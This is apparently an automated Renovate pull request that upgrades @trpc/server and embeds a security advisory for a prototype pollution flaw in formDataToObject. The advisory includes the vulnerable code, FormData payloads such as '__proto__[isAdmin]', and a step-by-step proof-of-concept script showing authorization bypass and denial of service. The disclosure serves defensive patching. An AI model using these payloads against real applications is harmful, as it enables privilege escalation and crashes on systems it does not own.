Skip to content

fix(deps): update dependency @trpc/server to ~11.8.0 [security] - autoclosed#155

Closed
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-trpc-server-vulnerability
Closed

fix(deps): update dependency @trpc/server to ~11.8.0 [security] - autoclosed#155
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-trpc-server-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Dec 16, 2025

This PR contains the following updates:

Package Change Age Confidence
@trpc/server (source) ~11.4.0~11.8.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-68130

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @​trpc/server@11.7.2

# Step 4: Create the test file 

Test.js

const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

Release Notes

trpc/trpc (@​trpc/server)

v11.8.0

Compare Source

What's Changed

v11.7.2

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.7.1...v11.7.2

v11.7.1

Compare Source

What's Changed
New Contributors

Full Changelog: trpc/trpc@v11.7.0...v11.7.1

v11.7.0

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.6.0...v11.7.0

v11.6.0

Compare Source

What's Changed

  • feat: add precondition required response code by @​y-nk in #​6954
  • fix(client): httpBatchStreamLink in React Native "stream ends with TypeError" by @​KATT in #​6960

New Contributors

Full Changelog: trpc/trpc@v11.5.1...v11.6.0

v11.5.1

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.5.0...v11.5.1

v11.5.0

Compare Source

What's Changed

  • patch: prefer Standard Schema for input/output type inference by @​dzhu in #​6888
  • feat(server): expose procedure path in resolver options by @​KATT in #​6902

New Contributors

Full Changelog: trpc/trpc@v11.4.4...v11.5.0

v11.4.4

Compare Source

What's Changed

  • patch: typescript 5.9 support by @​KATT in #​6877
  • fix(client): httpBatchLink with custom transformed object at top level by @​KATT in #​6878
  • fix: incompatible types in monorepo due to separate .d.ts for esm/cjs by @​KATT in #​6879

New Contributors

Full Changelog: trpc/trpc@v11.4.3...v11.4.4

v11.4.3

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.4.2...v11.4.3

v11.4.2

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.4.1...v11.4.2

v11.4.1

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.4.0...v11.4.1


Configuration

📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) December 16, 2025 22:13
@renovate renovate bot force-pushed the renovate/npm-trpc-server-vulnerability branch from 6b9a2b4 to dd29955 Compare January 11, 2026 15:29
@renovate renovate bot changed the title fix(deps): update dependency @trpc/server to ~11.8.0 [security] fix(deps): update dependency @trpc/server to ~11.8.0 [security] - autoclosed Feb 19, 2026
@renovate renovate bot closed this Feb 19, 2026
auto-merge was automatically disabled February 19, 2026 07:54

Pull request was closed

@renovate renovate bot deleted the renovate/npm-trpc-server-vulnerability branch February 19, 2026 07:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

Comments